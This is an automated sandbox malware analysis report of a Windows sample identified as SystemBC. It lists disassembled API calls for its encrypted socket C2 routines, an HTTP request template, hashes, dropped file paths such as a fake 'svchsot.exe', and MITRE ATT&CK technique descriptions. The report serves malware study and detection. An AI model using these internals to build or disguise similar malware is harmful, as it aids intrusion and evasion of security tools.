SetFilePointer.KERNEL32(?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000,?,?,?,?,00000003), ref: 0040381B
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080,00000000), ref: 0040382F
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,00000000,00000000,?,?,40000000,00000000,00000000,?,00000080), ref: 00403837

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: File$CloseCreateErrorHandleLastPointerWrite
String ID:
API String ID: 170361235-0
Opcode ID: 0dcd00ee667c2809c44c68577067374d09fc83c3b91c7c794881f57ed3fdf508
Instruction ID: 5cb899190596201ab1cb7b9b3420d92cc0c99cb15542a434421b47bf9016bc50
Opcode Fuzzy Hash: 0dcd00ee667c2809c44c68577067374d09fc83c3b91c7c794881f57ed3fdf508
Instruction Fuzzy Hash: 0C017C72600209BAEF21AEA5CC42F9E7E3CAB40715F20413AF611B50E1DB359B20E758

Function 00401BCF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040258D: VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,00402E73,?,?,?,xordata,00000032,?,00000000,?), ref: 004025A4

Part of subcall function 00401D7A: AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?), ref: 00401DD0
Part of subcall function 00401D7A: socket.WSOCK32(00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008), ref: 00401DE3
Part of subcall function 00401D7A: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?), ref: 00401E1B
Part of subcall function 00401D7A: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001,00000006,00000000,Microsoft Unified Security Protocol Provider,00000002,00000000), ref: 00401E3C
Part of subcall function 00401D7A: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002,?,?,?,00000004,00000002,00000001), ref: 00401E5F
Part of subcall function 00401D7A: ioctlsocket.WSOCK32(?,8004667E,?,?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002,?,?,?), ref: 00401E77
Part of subcall function 00401D7A: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000006,00000001,?,00000004,?,00000000,00000000,?,00000002), ref: 00401E85
Part of subcall function 00401D7A: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000010,?,8004667E,?), ref: 00401EAA

wsprintfA.USER32 ref: 00401C2A
select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,00000000,?), ref: 00401C6D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00401D13

Part of subcall function 004022F3: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?), ref: 0040232C
Part of subcall function 004022F3: DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 00402415

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept:*/*Connection: close, xrefs: 00401C1E

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: Virtual$Allocselect$AcquireCredentialsDecryptFreeHandleMessageconnecthtonsinet_addrioctlsocketsetsockoptsocketwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Accept:*/*Connection: close
API String ID: 2444796044-1369062238
Opcode ID: ddb2a0d86d685bb544986fb207e25bc0cc0357bfc66135903a6655684172cc83
Instruction ID: 215672078b4aeaa6ff1d4cfc850210820835a78ecd20a6b5454704e40eebe2a8
Opcode Fuzzy Hash: ddb2a0d86d685bb544986fb207e25bc0cc0357bfc66135903a6655684172cc83
Instruction Fuzzy Hash: B0410BB2A4011CAADF21AA91CD45FEE77BCAF04304F4040BAB705B60D1D778EB859B6C

Function 00403011 Relevance: 6.1, APIs: 4, Instructions: 59synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,00000003), ref: 0040303C
select.WSOCK32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,?,00000003), ref: 00403064
send.WSOCK32(?,?,?,00000000,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?), ref: 00403077
SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,?,00000003), ref: 00403099

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: EventObjectSingleWaitselectsend
String ID:
API String ID: 3746265427-0
Opcode ID: b94ece0b8b7b36ce9af073a923ebfcd6406d3329eb2e0cd176e860db6b9df633
Instruction ID: d4796e132325dac4c71b520e55ac05f8709e9b16b1b0050de06daaa7f9225df2
Opcode Fuzzy Hash: b94ece0b8b7b36ce9af073a923ebfcd6406d3329eb2e0cd176e860db6b9df633
Instruction Fuzzy Hash: 4B116A31600209BBDF20DE65CC06FEF3B6CAB00716F10012BBA11B51D1D7B99B50C6A9

Function 0040314E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

shutdown.WSOCK32(?,00000002,?,psdirwa,00000003,?,00402F5F,?,?,00000000,00000000,00000000,00000000,?,00000002,?), ref: 00403159
closesocket.WSOCK32(?,?,00000002,?,psdirwa,00000003,?,00402F5F,?,?,00000000,00000000,00000000,00000000,?,00000002), ref: 00403161

Strings

psdirwa, xrefs: 00403152

Memory Dump Source

Source File: 00000009.00000002.1700322887.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1700292371.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700346237.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1700366184.0000000000405000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_svchsot.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID: psdirwa
API String ID: 572888783-3683654655
Opcode ID: 4f06acde487e9167a240590c6592deff58aaac41e5196f57ba03855c6f62b44e
Instruction ID: ae36223fd9f5ef7b0cb28906545bff40907bf98ef6cbfab08c9d53a2733216d8
Opcode Fuzzy Hash: 4f06acde487e9167a240590c6592deff58aaac41e5196f57ba03855c6f62b44e
Instruction Fuzzy Hash: ADC0122220010836C6112A47DC06E8F7E1CCF817E9F004036F604680914575995181A8

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SystemBC

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\iihfve\psdirwa.exe

C:\Users\user\AppData\Local\Temp\main\7z.dll

C:\Users\user\AppData\Local\Temp\main\7z.exe

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

C:\Users\user\AppData\Local\Temp\main\extracted\svchsot.exe

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre